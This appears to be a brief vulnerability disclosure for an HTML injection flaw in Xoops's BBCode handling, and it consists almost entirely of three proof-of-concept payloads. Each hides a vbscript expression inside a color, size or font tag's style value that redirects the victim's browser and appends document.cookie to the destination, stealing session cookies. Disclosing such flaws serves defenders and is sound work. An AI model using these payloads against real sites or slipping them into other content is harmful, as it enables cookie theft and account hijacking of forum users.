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Xoops BBCode HTML Injection Vulnerability

The following proof of concept has been supplied:

[color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/color]

[size=10;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/size]

[font=Verdana;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/font]